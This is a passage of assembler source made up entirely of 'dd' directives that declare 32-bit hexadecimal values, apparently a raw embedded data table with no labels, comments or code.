dd 15CEB6CDh, 688A62B1h, 729C5CA0h, 51314367h, 0E0C8F9DEh
dd 0C66D6884h, 15733862h, 0ACE833B8h, 10F12Bh, 0B34BACC5h
dd 0CE14B771h, 8805A91h, 1444BF0Dh, 8D08F82Bh, 0DA006470h
dd 828F66DFh, 0CDEA18E1h, 0B50D0862h, 2D1854B8h, 0F3307857h
dd 0D868C42Ah, 0FC2C8123h, 383898EBh, 92180D48h, 0ADE34020h
dd 0F010CA49h, 20BA3774h, 317E1B1Dh, 0CDEB7306h, 0A5B05BA2h
dd 12D4108h, 0E92BD74Ch, 0F0110D1h, 0EFA9E26Ch, 0E8DD4024h
dd 0E94D2AE7h, 54193BFCh, 40C1E856h, 50F46B2Eh, 49E411B4h
dd 0C8500C90h, 6EF62DA4h, 182F651Ah, 7CD83648h, 0F2C02234h
dd 56BEB10Ah, 83D88CE9h, 0B27F307Bh, 0C4DE51B9h, 0E68E890h
dd 0B7D88868h, 18273071h, 0C6CFF169h, 0C4616373h, 56B38F08h
dd 0B13B785Ah, 29EB0888h, 0AA6F9104h, 0DAC028C1h, 8067BFD3h
dd 0B9BD2F81h, 49DBBC20h, 24E0889Ah, 46613016h, 0C77B31C9h
dd 980C5095h, 0E827ACF0h, 0EC64AE2Ah, 2F38C362h, 0D89C080Dh
dd 0F8300DF9h, 2B7139EFh, 0E0F33EA2h, 0A015B93Ah, 0E8F0A017h
dd 4E7F23DFh, 751140CEh, 7333F098h, 652A3007h, 9608B130h
dd 7100A898h, 287D15B8h, 3AFC851Dh, 5C0B16F8h, 7107BA3Ch
dd 7A009E2Eh, 9AFEBF2Ah, 0FFAEB41Eh, 24BAC500h, 7697FD07h
dd 3DEF0003h, 0D7088266h, 0EC07586Ch, 3FAE3C8Ch, 13020DCh
dd 0DDD1591h, 0D5DC8523h, 273CD01Ch, 5AFF9A0Ch, 38DA60F2h
dd 1A182151h, 9BBA68A9h, 0A580BB43h, 67EEB386h, 0CE3C8F07h
dd 0FA05E6AFh, 0A5F21860h, 0E7A200E1h, 0B302D8B5h, 8E07B677h
dd 997A1128h, 597EDC60h, 79070068h, 0FE2CFDB9h, 4C014B7Ch
dd 239DD97Ah, 7FC0269Eh, 0F359377Dh, 94DC1151h, 42E10B4h
dd 30BCE09Bh, 3F285621h, 4CE279CDh, 0C81948C2h, 11021C22h
dd 2410FC9Ah, 37AD6074h, 197E3FDAh, 99790603h, 59A009E4h
dd 7A0C695Fh, 50682639h, 86B66A4h, 0D90F182Bh, 8C79024Bh
dd 60DCC0C5h, 24390965h, 783AD97Dh, 93F90E22h, 60EE009Ah
dd 3A8EFE20h, 0D7481FA5h, 3500186Fh, 2F2EFDBBh, 4E189870h
dd 0C6088666h, 9CEE084h, 8E015E7Ah, 2E80248Eh, 0B82150Dh
dd 195F303Eh, 4119464Eh, 23CACB00h, 8E308BE8h, 532128F4h
dd 8A0E1901h, 0BCA35897h, 183D3008h, 749914EEh, 376A03FBh
dd 9BBBAEFEh, 0F3D64EC0h, 0BD8EFD07h, 0B643FCABh, 6DEEC021h
dd 3C0EF8F2h, 718C9DB5h, 950C116h, 0F5641B00h, 38816CAEh
dd 39C9387Fh, 161F983h, 0E8EEAACEh, 82F2F007h, 1E5F834Bh
dd 0FCB8B081h, 887160Eh, 0CCFE75EEh, 68C6D6A8h, 0EA10D4EAh
dd 2EFC0EBCh, 0AE82A73Dh, 0A0858E59h, 0CE9C05D9h, 6EA803F8h
dd 0B818DCC7h, 0B508DF57h, 2EFE0C36h, 0A5D88D71h, 0CE369C74h
dd 665008A3h, 8762824h, 19350E20h, 0A0E5786Eh, 2808BE3Ah
dd 23F88497h, 0A6CE94A0h, 0F94E88A0h, 0D0C609CCh, 8CB3538Eh
dd 80C575C0h, 3B838103h, 8B0A94BEh, 0CB072A7h, 0DE48F19Ch
dd 3A204AEBh, 29591554h, 44F90AACh, 571CF8D4h, 0A16E0142h
dd 0BF8883ECh, 91A015CAh, 3980D4F1h, 114EFCAAh, 0D27F2CA6h
dd 80AEB910h, 0CD5A1901h, 88D52B12h, 78B4CED0h, 4D01ED2Dh
dd 39CA3ADFh, 4424DEB9h, 14567438h, 0A0ACE4AEh, 83347801h
dd 37363ABh, 0A0086803h, 9C523CF0h, 5F43A4A0h, 683BFC30h
dd 0CE0807D9h, 5BDB750h, 78F3D72Bh, 0A5085E9Ch, 0ADD6306h
dd 9FB88F79h, 123C24D4h, 4E2C0040h, 0EB8220D2h, 70E53224h
dd 30C8C3F0h, 99F92A0Ah, 8407FC32h, 2BD98B0Bh, 12D7FD31h
dd 0B844FEDDh, 7D4A243Ch, 0C42945B0h, 0B8AFE52Fh, 6E18C0Bh
dd 15303CDFh, 30AB1159h, 0CF48CBA0h, 18CE6B24h, 3022608Ah
dd 2491CBD0h, 85306CC7h, 79220419h, 6C4420CCh, 0B9AC8354h
dd 870AA93Bh, 12C6084Bh, 74C0C544h, 0F832D7CEh, 63B0266Bh
dd 24FE2C58h, 0D1350904h, 81591004h, 0ACEED4h, 0AF226E0Eh
dd 0DF2301E8h, 24786740h, 78C28408h, 40044CEBh, 0F025610Ch
dd 80D6F8Bh, 0C1645784h, 2630CA0h, 0EE5CC0E1h, 303F62B4h
dd 484171D7h, 0F026D777h, 123A3066h, 5841A69Eh, 54EFECCh
dd 0B40E0887h, 35AE029Ch, 6BEBB860h, 0E0182249h, 481AC7C0h
dd 28A4032h, 3048F8C4h, 0DECBC410h, 1D56990Ch, 0C8AF0D68h
dd 0FE7E5982h, 24F8AEBAh, 0B4C0171Ah, 3184F948h, 0B102BCBh
dd 0CF9C24A6h, 0BB800650h, 0AD8B08C0h, 326B1292h, 0BAD0AF49h
dd 194B6840h, 0DD18DC62h, 34A88239h, 330C0FEh, 0F3F0E9FFh
dd 74C898B7h, 8EFB1C57h, 2C78BA3Ah, 0F2CC8B6h, 0E86C7B0h
dd 0CE131814h, 0C40AFFDAh, 0EE1DB41Ah, 0F82B8D5Fh, 9F2F4760h
dd 975988DFh, 0B88D50B0h, 6520D587h, 58307AB6h, 94500BF9h
dd 0D4E65750h, 38E41381h, 19A05150h, 69104C17h, 1FDE4608h
dd 0FEB909DDh, 0E32E1001h
dd 0E84BF3h, 91F2D076h, 304178Dh, 0C2414A45h, 1EC03167h
dd 0A601B62Ch, 0DF194F65h, 18402EC8h, 0B7FD6072h, 8E3C02D8h
dd 33E67EE9h, 5D4B5800h, 642496BFh, 105B5186h, 0CCC3A940h
dd 7620CEDFh, 0B808EB80h, 831CB4C0h, 0A70AC21Bh, 69C71CFEh
dd 20CE4152h, 8EC2F56h, 0B861F802h, 1EC1DB83h, 1746570Fh
dd 3610504Ah, 62B8103Ah, 0C0C39B3Bh, 9302F6E1h, 8D983E0h
dd 2098C8A9h, 1C08A662h, 5B24A5A2h, 0F6D85C39h, 81476E0Eh
dd 6A94DC4h, 2B089D0Ah, 407CB79Bh, 2ED48FACh, 420141D3h
dd 477808F9h, 86F07C4Dh, 8FB5082h, 8331212Dh, 827B4485h
dd 3D04946Ch, 892008ADh, 0B4BDB615h, 9E0E090h, 966A445Ch
dd 84B4C12Bh, 696603CFh, 76311598h, 28F5F8B8h, 69F0E82Ch
dd 170DF6F6h, 71BFB446h, 8180200Bh, 95B5B40Ch, 0EBFC0492h
dd 0C3E2A880h, 82701B08h, 4805799h, 3D6D2C38h, 4412011Ch
dd 990C1F5Eh, 0C67E307Dh, 3804B0BCh, 30BCD670h, 0EA5EF602h
dd 1B39D08Dh, 693903B4h, 0A13B03Fh, 0DEDFD670h, 3868399Ch
dd 0F7D0D880h, 3F893B0Ah, 0E4BDE85Eh, 231D7838h, 78178349h
dd 805CBA95h, 86D652ECh, 7F652B3Bh, 12014F70h, 80142848h
dd 894B7670h, 3E05C870h, 7FE4CC1h, 0C0CCF93Eh, 0B288C08Eh
dd 210333D0h, 86C60496h, 8491B060h, 708A1C10h, 88383028h
dd 1873DCEh, 0DB696A57h, 0B164005Fh, 0E87010E7h, 0CDC81006h
dd 965D6AF0h, 20E67307h, 0E801C491h, 71BA0870h, 0E2168046h
dd 805B3A2Eh, 3FD92A4h, 5941326Eh, 4820A8B8h, 2D052FBh
dd 2C0487EFh, 24E096AAh, 32009446h, 0DDA8C5E7h, 68216Dh
dd 0C80AAF39h, 0B2AA2BBDh, 24811CA5h, 0A950E1BCh, 171E0100h
dd 0AC8A2C0Ch, 0C8B7082Eh, 5ED0EA40h, 2EB83060h, 14A56179h
dd 0B5CA2C10h, 85402A23h, 9467D1h, 416DDF1Eh, 4AAF26A4h
dd 6A389CFFh, 41E05310h, 606015C4h, 1DBA1B1h, 0CC7EB82Ch
dd 6A80E509h, 0C17CBA56h, 5D215516h, 1F18111h, 885F20Ah
dd 68C00FEAh, 0A8B0227Ch, 0DE0D5401h, 63EDE16Dh, 0C042F888h
dd 10827CF0h, 1DD910h, 2CCCFAC1h, 8FC0424Ah, 0AF8A4E1Eh
dd 4C43F0CDh, 0A5A815EBh, 0E7A074BFh, 3030C32Fh, 0F1017021h
dd 0BFA980F9h, 0AB0170ADh, 1B886351h, 873A6101h, 13214A70h
dd 0EAAE2A41h, 0B611B442h, 31F6F678h, 41499448h, 1A6A0155h
dd 0D5CA089Eh, 1A07CBFh, 0BF54910Fh, 8432A198h, 0B6DE20CDh
dd 13721E7Ch, 1C1ED0E2h, 78772E81h, 28D87C7Ah, 20E5102Eh
dd 0F7E10923h, 5D0C022Dh, 4B74B4C1h, 62B9BCAEh, 269CC139h
dd 6B7AE97Bh, 13D6078Fh, 401AC66Fh, 0CD752115h, 0C174431Ch
dd 49809F19h, 5701398Ch, 0E7494AE8h, 485B312Ch, 886850Ah
dd 1801E68Ah, 20027724h, 0C8093718h, 87ECA115h, 2B0A0885h
dd 0D9478BEh, 0F3366318h, 805B6179h, 233AC2CAh, 710F31AFh
dd 9C5EBEEEh, 39B66902h, 41031B60h, 0AA481B24h, 0D8A19815h
dd 68088CEAh, 0C3DA5825h, 24444A60h, 0ED5D0814h, 0BE6E15ECh
dd 91A3E0B0h, 9D8C205Eh, 8899A101h, 0BDB829B6h, 0C33041Eh
dd 0BC91802Fh, 0B6E48881h, 83562A9h, 8C490E69h, 0C0183738h
dd 65E0E58h, 8C8789DCh, 0E09EC940h, 0BFA72B8Ah, 0C2B1C094h
dd 41C3126Fh, 71DDE5C1h, 0E0A09388h, 95650270h, 22CCD49h
dd 8A2BB59Ch, 0AAB860D6h, 30CC64EAh, 5D389146h, 6D109BECh
dd 8264E2D8h, 0EB06ABCh, 92C8BD8Ah, 0D91C4C8Bh, 20DFD6C1h
dd 304DBF12h, 0E2F108ACh, 3FCA2084h, 27BD0728h, 15292A41h
dd 49534892h, 0E83EA638h, 5E695304h, 7493D738h, 4AC810DFh
dd 0EEEA3EA6h, 30658458h, 1BAA6483h, 80C1CAD8h, 0D03C5EC3h
dd 2050C90Ah, 0C4E3F80Bh, 0D3716A28h, 3074A2A8h, 64AA6240h
dd 1FDA3974h, 404C8E92h, 0C4E949A6h, 0E12D3E9h, 19381BE3h
dd 99E6EAF1h, 0A109F71h, 0DCC3F077h, 6A081814h, 161D3817h
dd 3E4548C9h, 16A80524h, 91A7BF8Ah, 8C6CF6B8h, 0A8F9EF88h
dd 0E0C89B14h, 1383A4D3h, 0C9037384h, 824ABD0h, 1F289FB2h
dd 594852F2h, 0CAA100CCh, 2C6AB0C3h, 37688948h, 0D1B3C84Fh
dd 0B2082B2Fh, 0EA81EEECh, 11ACB80h, 0D0BDE381h, 8164AD70h
dd 4E13D73Ch, 0AFE100CDh, 9F85836Ch, 5A206A4h, 203918DDh
dd 8A2BF4C1h, 0DF60548Ch, 0C6DC6EBAh, 0A9D621F9h, 0F0288E59h
dd 20FCBEF0h, 112D1B1h, 3C0662C5h, 49086422h, 64F0FC91h
dd 94200915h, 166102D2h, 8CEAB078h, 73CE043Eh, 7DC2688h
dd 523EE041h, 0B0C5E800h, 9834172Ah, 0D8505020h, 0D1D3410Ah
dd 0CA00307Fh, 8E4388A5h, 20DFC207h, 0B0592DA1h, 0E09C0A23h
dd 0DAF98D82h, 0D18139C4h, 8435EA0Fh, 9E10AFF0h, 0E139FC61h
dd 708058C7h, 719FD6A6h, 8C08D42h, 0F0FBE3A1h, 0FCA5008Ch
dd 6F732990h, 4BF8F13Ah, 1100E0F0h, 27B0ED1Ah, 1716C0h
dd 24730AD7h, 23D04B20h, 904CF80Ah, 5F581C2Ch, 884479CAh
dd 7A902813h, 0CE98701Dh, 9EAEB007h, 670D5080h, 7460F862h
dd 0A2F01E5Bh, 0A6900369h, 0B4A04F3Fh, 501D4B78h, 0B0006B7Ah
dd 0D04C8A7Eh, 0F82074C9h, 3008C390h, 1829FF2Eh, 53604828h
dd 8849D2F4h, 0C5638833h, 0A3F52060h, 3AC7FBD0h, 10FCB608h
dd 38CFBA30h, 7A18E315h, 2F083106h, 0F3C1068h, 98F21302h
dd 0D3031805h, 22F93769h, 0F65A4368h, 8AD0F0C1h, 889C1070h
dd 646B183Ah, 0D96F3090h, 5A5069E8h, 566A06B0h, 31698F36h
dd 105831F3h, 0D0D88653h, 2109FAFh, 704B82A7h, 0D8BCFF21h
dd 0B6D87F08h, 41938CE1h, 962B050h, 8DCB9048h, 0B41F48C8h
dd 42C99D06h, 0B319997Bh, 0D93801BDh, 2210888Ah, 7F12F8A0h
dd 89CAF330h, 0CA9E9253h, 0F88833D0h, 6C319C6Bh, 9F73394Dh
dd 0FEE47000h, 0D2027CADh, 22CB23EEh, 70B63413h, 3C89170Ch
dd 503331B5h, 703090C9h, 16CAD25h, 0D36B2F5Bh, 66420716h
dd 26D087A1h, 49D06C0Ah, 14DE222Fh, 0CBC2F314h, 0C49F1288h
dd 5C572400h, 48C63062h, 4918A45Ah, 0A3BFF8D1h, 7BE660C4h
dd 0B4CE9081h, 51C23C00h, 0D76272F8h, 83215808h, 145FCF90h
dd 0F85D8638h, 68E131Fh, 106004B0h, 303086EDh, 30E898D2h
dd 0AAB88C5Bh, 0C0F84B1Dh, 1E0C1C4Ch, 193E282Ah, 2B58B347h
dd 8C0BCC2h, 0FB866A5Ch, 62949386h, 99F6370h, 0E80ECC46h
dd 8A4C7C0Bh, 0D00EE872h, 0E0D41527h, 207CC9DFh, 0B3241598h
dd 31BD8CFEh, 0C61AE8BBh, 63AF7020h, 0FAF908FBh, 879B6810h
dd 18634538h, 0F02B5669h, 1BE1F028h, 5EECD6DDh, 325C90C2h
dd 3950D91Ch, 6805C4Fh, 68D7E4E1h, 891981D3h, 3E3A9038h
dd 30DB7FD8h, 13E15FADh, 70D2634Ah, 926842Ah, 69130CCAh
dd 40623370h, 8383D038h, 11151088h, 0E0FF4BF1h, 45309F27h
dd 0C5B6D0D3h, 480B7F0Eh, 0A18B8233h, 91F94069h, 619F0005h
dd 0B83944Ch, 0D800567Dh, 0C255C6AEh, 1260347h, 3212A8C8h
dd 88456B7Fh, 1194EB40h, 76CEA00Bh, 84544B3h, 638B6740h
dd 0C02B0810h, 0C4CB4010h, 0F590FEF3h, 210CB586h, 79EBE8C8h
dd 4B08C299h, 700E602Dh, 6DBAAB0Ch, 58DDBF60h, 8DC04C29h
dd 6B3CB98h, 48C9C7D1h, 866151FDh, 602E2B08h, 0B014C02h
dd 608A76C7h, 1B8017C4h, 0A9A168C0h, 0BDC09581h, 0C3CFF0A4h
dd 28F7447Fh, 5715B920h, 84DEA0BDh, 443F0399h, 2B05C088h
dd 0A49C7CBDh, 3B98320Ch, 446838FEh, 8057AC8Dh, 8D469E8Ch
dd 0E2718A75h, 6C8056ABh
dd 9B01B080h, 11C57E6Dh, 0D80045B5h, 0CFBE08DDh, 0E85966FAh
dd 8B180830h, 0A38858E6h, 17CAD86h, 0F1AFE677h, 9848BACBh
dd 0E038076Eh, 0EF48CC1Ah, 85206B08h, 1C943E48h, 1558CB08h
dd 0AB10EA18h, 8BE0A045h, 6B08C641h, 4B0E3017h, 869012D2h
dd 3B286183h, 6F7CFB94h, 0CB0608BDh, 27203071h, 0EF531F6Ch
dd 0EC070E82h, 0A2262B83h, 9C5C077h, 94064589h, 3E20CCA7h
dd 0EB0A6ED2h, 7CA08658h, 0A512A4E8h, 4C03CEFEh, 0EF8B388h
dd 90160F90h, 0EB083A8Ch, 6B98B561h, 427864Ah, 0A55F8480h
dd 50C6D3F8h, 2BB00668h, 601C54CBh, 0B26C1EA4h, 71BCE148h
dd 8B38FD62h, 0DCBC61h, 0E17C552h, 7E18653h, 0A00C5400h
dd 2349B7C0h, 49D00DDh, 35F7C1B2h, 52031670h, 0ACE20385h
dd 0F430018Bh, 0B7BD3198h, 7738910Bh, 0AEC8ACA0h, 0C4147244h
dd 3D7C3731h, 443C55D0h, 9164B47Fh, 0F7483768h, 79C2E0D3h
dd 0D4D1C629h, 172B389Ch, 9A606C3Dh, 0C9E4373Ah, 258C7439h
dd 8C3B838h, 7F841A77h, 0F08DEB0h, 170685B5h, 0D7221046h
dd 843A574Fh, 0C265FDC1h, 6A9410B0h, 3F68CA50h, 0D974F888h
dd 9AC51300h, 14340607h, 8839D172h, 9F506DF0h, 54398362h
dd 8A3707B1h, 4077088Ch, 311CEBF8h, 0F4416351h, 0F77A70DEh
dd 0C7740156h, 507358E4h, 14381F99h, 6306607Ah, 0A7D7BD15h
dd 0B9372008h, 6F0A1719h, 0A4418D90h, 0AC4014D7h, 806297B7h
dd 0DDF9EA2Dh, 57188D5Ch, 0A4FD0837h, 30773085h, 0CF840A63h
dd 9DE98C4h, 8C81F6D5h, 194706FAh, 0C0605656h, 1140C2A4h
dd 6240928Ch, 277F812h, 9C0CB8BEh, 0F9972A96h, 388AF5D4h
dd 0F8B433D7h, 0EFEFD1Bh, 607471C2h, 401F0636h, 8D01731h
dd 3701CC97h, 0F17E31A4h, 0E1502103h, 4685B33h, 0DA14B5FCh
dd 40F9444h, 3C9F05B7h, 8CCEC802h, 382E9980h, 19DE7939h
dd 11C677C1h, 0B69990F2h, 43613A78h, 9805F715h, 32507BF0h
dd 54995363h, 6E92B19h, 7FF1E098h, 87403FD1h, 800257F4h
dd 0CE0B1CC1h, 14C984A4h, 448240D5h, 780BE08h, 1746A2D1h
dd 0B40601B7h, 0D7E089DFh, 5724018Ah, 0A028401h, 0C7865849h
dd 7B69F012h, 1883340Dh, 845F5CE1h, 4CE60873h, 0D4058934h
dd 0F009178Dh, 97040241h, 0F7944064h, 44A0927Ch, 6F400AACh
dd 4198A529h, 51D35E09h, 5B5B7480h, 2768037Ch, 3691D9h
dd 0C2201E11h, 0FC2E9842h, 0A56FB370h, 0C1D3C180h, 0C05F3897h
dd 9D002846h, 57EFA595h, 33304466h, 2DD35884h, 6BE8DF39h
dd 0AA906C28h, 39204253h, 2497C073h, 0FA02BD6h, 0C1D4732h
dd 0D7B07E72h, 3A1CC94Ch, 0AFEE4002h, 5A8B09Ch, 46FCF068h
dd 0D51DBB09h, 0C2D700FEh, 74A81FBFh, 0F4DF0175h, 0B93FD0CCh
dd 0D85FF0ABh, 1D188960h, 3A1FC1FBh, 1F7DFC5Dh, 0CC22CBCh
dd 8F4203A6h, 9F1F0278h, 7F075B86h, 15F0D8E2h, 0F0C3499Dh
dd 188B01CEh, 34DBB7DAh, 0D1444DC9h, 0F956B810h, 9F30D071h
dd 54FF90D7h, 0DFC31B1Ch, 12E198A8h, 0AC5FE023h, 3F18A0DEh
dd 409BFF08h, 0B663D789h, 373199B8h, 4BB85088h, 3F83258Eh
dd 1FE019B4h, 0B8CC1A61h, 707F0895h, 7010CC65h, 0A96F1FE0h
dd 0F1F68CD8h, 3DE0DE43h, 3F370D3Eh, 3C15C4E9h, 976E1136h
dd 16DBC667h, 7D7F0336h, 0F1FFD0D1h, 503FE810h, 8FC01068h
dd 1F0621B3h, 0ED6FE97Ah, 9F58CE0h, 60E9C69Eh, 756F5232h
dd 9F9085F0h, 0B812C40Dh, 800798D8h, 38CDD5A1h, 5AD11873h
dd 0E8EBD998h, 0DF803EFFh, 0D51F808Eh, 0E42BE0DFh, 38CAACC2h
dd 29506D7Bh, 0DCA97FD0h, 0EEC99BAEh, 5B2DAB8h, 0FFD0463Fh
dd 0F051B146h, 4149E1D4h, 90877FC4h, 547867B1h, 40D4C0DCh
dd 0BCADE25Bh, 0E19E1788h, 8720D49Bh, 0D0CD6290h, 0A344DC4Ah
dd 14C4588Ah, 6A827CBh, 503AC83Bh, 7FD8AF50h, 1FA44750h
dd 0AC0CA348h, 284CF7A7h, 2667285Bh, 482C4894h, 0C0A29F14h
dd 0B929C4ACh, 0FB0924EBh, 9F90036Bh, 7F080C50h, 71022A0h
dd 0BB583263h, 79F03106h, 0F701FF08h, 53884E4h, 0F9A9FB8h
dd 81B5FB4h, 2AB505CFh, 68E72BB8h, 45381B1Ah, 0F1226204h
dd 0F7A21C93h, 34A99049h, 1F80A048h, 18CA64ABh, 5F2481D1h
dd 9F0889A2h, 0C2D82474h, 4A3A521Fh, 56C4BD14h, 0DB140AEFh
dd 0DF1D9C7Ah, 933120B6h, 0FD3F4831h, 0B5FF688Ah, 942954CCh
dd 7B8A6C21h, 1F1DC086h, 6759A8A9h, 0CF9B130Ah, 0E65FB804h
dd 0B07ADC97h, 12DC4356h, 5C06D4E3h, 4DC03021h, 4C268080h
dd 19F0588h, 10982AB5h, 51989EAFh, 48C2785Bh, 31820DFh
dd 0A015FB31h, 0E094B467h, 3133114Fh, 0FB48E853h, 2939986Ch
dd 802BDF48h, 0A483E73Fh, 1A084868h, 8E9F79Eh, 0AD92351Bh
dd 5F9EC7Ch, 525B5AD1h, 12685D4Fh, 8A1C7D7Ah, 0AC624670h
dd 4FB3DBE2h, 8A70B1D8h, 0D17B1C39h, 26E17038h, 9B384CFAh
dd 905F0624h, 3C88C0Bh, 2C33587Ch, 93086AB8h, 0D0AC4AD2h
dd 9821DB30h, 19E690EAh, 9F58CC3Bh, 0A7305C22h, 191A7F50h
dd 5FBDD1F1h, 0B6B862B0h, 591013F9h, 7F12BC5Bh, 0FFB004BEh
dd 9AB493F0h, 8F1F0819h, 0FF00BA71h, 1380078Ch, 4038C966h
dd 2C875CA3h, 448E07Fh, 74BD2B18h, 383A02E2h, 5F80A2FBh
dd 84765C05h, 3CB8672Ch, 9F2E88A0h, 1E9284FBh, 73082C1Eh
dd 0F8B71509h, 668002F4h, 1B30F207h, 918B837Bh, 20770920h
dd 7F2C949Fh, 0C987A0B0h, 9742D0D6h, 8058C1D3h, 751D098Ch
dd 7465DE30h, 1C810A08h, 0B4609DFFh, 1D81313Fh, 8CCFE210h
dd 28851340h, 18834827h, 0CA4EB26h, 0FF08C23Fh, 4189DD20h
dd 0B801F0D6h, 0B6B928C6h, 10046290h, 2C498E5Fh, 0DF883056h
dd 26E03D59h, 7F0A2822h, 243ED862h, 0E896C0D7h, 3046E852h
dd 3810FC3Fh, 64CC01DFh, 30E45C28h, 1F084D9Fh, 48CB0525h
dd 2A502254h, 0D41E0208h, 0D593CC83h, 9EE9032h, 0B38C0FA3h
dd 60BA5711h, 80FD0832h, 926CE942h, 0A99F088Ch, 9C8A011h
dd 30903686h, 7CAA7F2Ch, 0B004348Ch, 9F10C6F0h, 624109EAh
dd 50741EF1h, 0EA149BBCh, 39820838h, 0BAF88EEh, 6C255B1Fh
dd 3FD08124h, 42DC4784h, 0C885B176h, 429046D3h, 0F9506807h
dd 0A1635FA4h, 10D71F10h, 11CADF08h, 428A27Fh, 9CBF32B0h
dd 9F027229h, 2C5F0343h, 0B02E392Ah, 0F1A0A551h, 0A8B875BDh
dd 29CD1C21h, 8BE1880Ah, 0BC241C28h, 4E2356FCh, 63DB88F8h
dd 0EA70A038h, 0CAF9CCF5h, 0CE04DA09h, 0CF0BFFD0h, 6093F109h
dd 8CF88851h, 48651109h, 58F891BCh, 128E3B2Ah, 125E5D7Bh
dd 3F704270h, 9443D06Fh, 0FFFC92DDh, 424A00Ah, 0AC041293h
dd 7092495Fh, 322458C9h, 0CE901AB1h, 0E620465h, 9B88B861h
dd 9F88C542h, 0CFFCD2B1h, 3A622845h, 0E9115Ch, 0CC85153Bh
dd 0FFB05BA8h, 60B1B5E0h, 0D04DF651h, 505B498Ch, 8C4B3F90h
dd 3C40B008h, 0AAA9F16Fh, 0F967FCA6h, 6AC81C4Ch, 1F808B8h
dd 19DB18DCh, 4C6111CFh, 8035FE01h, 0B69C08FBh, 0F406205Bh
dd 31A47434h, 94B33C2Bh, 0A7C038E8h, 4A77FBF1h, 0B6900A2Bh
dd 2A87F8D8h, 316201FAh, 0EF051B30h, 78ED8ED8h, 3030C986h
dd 0B504BB14h, 826F888h, 4EAD61BBh, 1D401C1Ah, 70970970h
dd 99C8086h, 30DE3EF8h, 392BBB02h, 3D109AECh, 6C88604h
dd 540010BCh, 66A72DFFh, 0EE89E718h, 6FAA006Bh, 0C915C8E3h
dd 3A0E8AA0h, 0CCBE4F6Eh, 0F1FB28A6h, 13E66211h, 0DA428C44h
dd 9F02A431h, 0DEC32288h
dd 0A28F702Eh, 79D331F1h, 0D82002FDh, 94D600CEh, 0F5A7C4AEh
dd 5900E50Eh, 5B5CBC4Bh, 85A0B0h, 7160410h, 0FCE41348h
dd 0B786A07h, 36F76035h, 82466EB0h, 0BDB71ECFh, 0A7CC3EE8h
dd 0B8A5F900h, 37258709h, 0AD6C5900h, 4386ECD8h, 91670042h
dd 0AE93C97h, 90001A5Bh, 59EED241h, 1EAB575h, 0CE3CE4Dh
dd 0CC2148E0h, 110334E8h, 0EFB430FBh, 2090A8ADh, 5030170h
dd 0D2D6419Ch, 7BB8537Dh, 6C85F5C0h, 65E71C07h, 4660046Dh
dd 0A05295h, 9F7A7D75h, 21D136Bh, 0AE2EE702h, 8F464CA1h
dd 0CCD2EF89h, 0EA88D8E6h, 7C490130h, 69D5519Bh, 0B7E44771h
dd 9DE7E05Ch, 3F1E0D70h, 1081E68Bh, 0CF763E4h, 0A2FAD0h
dd 5147468h, 936C7A88h, 0E9D51000h, 9F7BAB32h, 6D280070h
dd 0AA36E09h, 0CF00C15Ah, 0BCEAF5A4h, 4AF020h, 0B1F84D71h
dd 0A5AFD7F6h, 7A00E5FAh, 4B05A83Bh, 0EA4859E3h, 73492B4h
dd 0D1C12F66h, 0FB7BC030h, 5418A65Ah, 63503329h, 0DAC70052h
dd 0AAAF409Bh, 961C88Fh, 42C7A88h, 0DEEF36E4h, 0F34AC138h
dd 41DF73E4h, 1323B9ACh, 7425F804h, 48B600CAh, 0C37F2CBBh
dd 0AB0FC0E1h, 0C37E3946h, 0A0693C25h, 1D7C701h, 13E6A5E0h
dd 0E0FB3851h, 1007DCBFh, 4539340Bh, 0ECE803E0h, 74940001h
dd 8F6B141Eh, 9700FF50h, 181BF9F3h, 0E6DBF5h, 9AD2A8D7h
dd 0C35FB7Ah, 0BD9B5E00h, 0CF0163C9h, 94D90273h, 2D1B18F2h
dd 5F9380F5h, 1DEDA775h, 0C0EE92BCh, 0A9510477h, 8A05E809h
dd 0F6C2C829h, 0F74AE000h, 244F66h, 7803C357h, 98E1286Bh
dd 40CB7B01h, 7493213Bh, 37F8F8h, 5B1590C9h, 6DB7310Fh
dd 0E11BE900h, 0FB79326Fh, 307090Ah, 8400CA3Ah, 0F4144A49h
dd 3FF5180h, 93B70DEEh, 84E8C758h, 0A009E77h, 3AC4B57Ah
dd 0D11269h, 6B40A162h, 0DB87442Bh, 78880200h, 0B357528Dh
dd 56261CA7h, 79B18092h, 0A2F00FE9h, 3C3A9674h, 94780A8h
dd 0B523E27Ah, 0DC6C5045h, 503D487Bh, 1000213Ah, 0F1BF08F3h
dd 0B400E1AFh, 0A822906Eh, 0D8266Fh, 3914ADC5h, 6647B15Dh
dd 0AE494100h, 1D59A81Fh, 2C7600BFh, 4044F26Ah, 4E188C56h
dd 57207D46h, 0A10B009Eh, 0CC9577AFh, 0DD0331BCh, 82F6D7D5h
dd 0D05DB853h, 7478090Eh, 3C00FA9Dh, 83A8C4FDh, 20BF1000h
dd 0BD7EA651h, 262D0072h, 0A44487B3h, 41000168h, 983AD511h
dd 1F09FDh, 0E08EB96Fh, 0CC19220Fh, 0BE933900h, 0A38882DBh
dd 5C9B1229h, 1B580083h, 93D6EEB7h, 9FA02400h, 0B8FC529Eh
dd 0E17C004Fh, 3E2AF5CEh, 672F903h, 0F0F6200Eh, 511700BCh
dd 2CBF36h, 0DA6AFDB8h, 58F39C0Ch, 3A7D6300h, 0E7EC32E8h
dd 8D90003Dh, 3B1D39EAh, 0FA48ABC4h, 106F8090h, 75EE3A97h
dd 77990081h, 501FC766h, 0B700C4B1h, 6717DB31h, 9D024h
dd 0C549F107h, 0B579B019h, 2D47AC00h, 48E7CC89h, 28A51F12h
dd 889080E3h, 0ECB152E1h, 8CA39B00h, 0CA166AD0h, 0A03B001Bh
dd 3E01D6DAh, 0DD0038A1h, 0E54DBA5Dh, 0F9C3AFh, 465862FBh
dd 6660CBCDh, 717AAA00h, 8781B173h, 76950078h, 0EEB0F756h
dd 0C700C00Eh, 3D320B66h, 1364CBCh, 6C0C259Ah, 0F8B3B7D4h
dd 2D0315A7h, 0C08E014Bh, 0CC5BD84Dh, 78CE008Fh, 0F5B4C32Ah
dd 0EE0086ADh, 2434FCFEh, 1B9220Eh, 85D42B8Ch, 40AF4903h
dd 32C227D4h, 0C05FE900h, 0DE77A3E5h, 1BC500F7h, 41C894B9h
dd 0F61FA859h, 0BCDED305h, 7300CF1Ch, 0D7DC3433h, 727C0008h
dd 0E952E7C7h, 0B1797547h, 48512E80h, 93C280D6h, 0CC609F66h
dd 0A60007C7h, 0ED60A91Bh, 0F2ECADh, 12E29DAAh, 7174CD30h
dd 7E70C500h, 104FE08Ch, 5C2148F5h, 0D41B6914h, 624E3201h
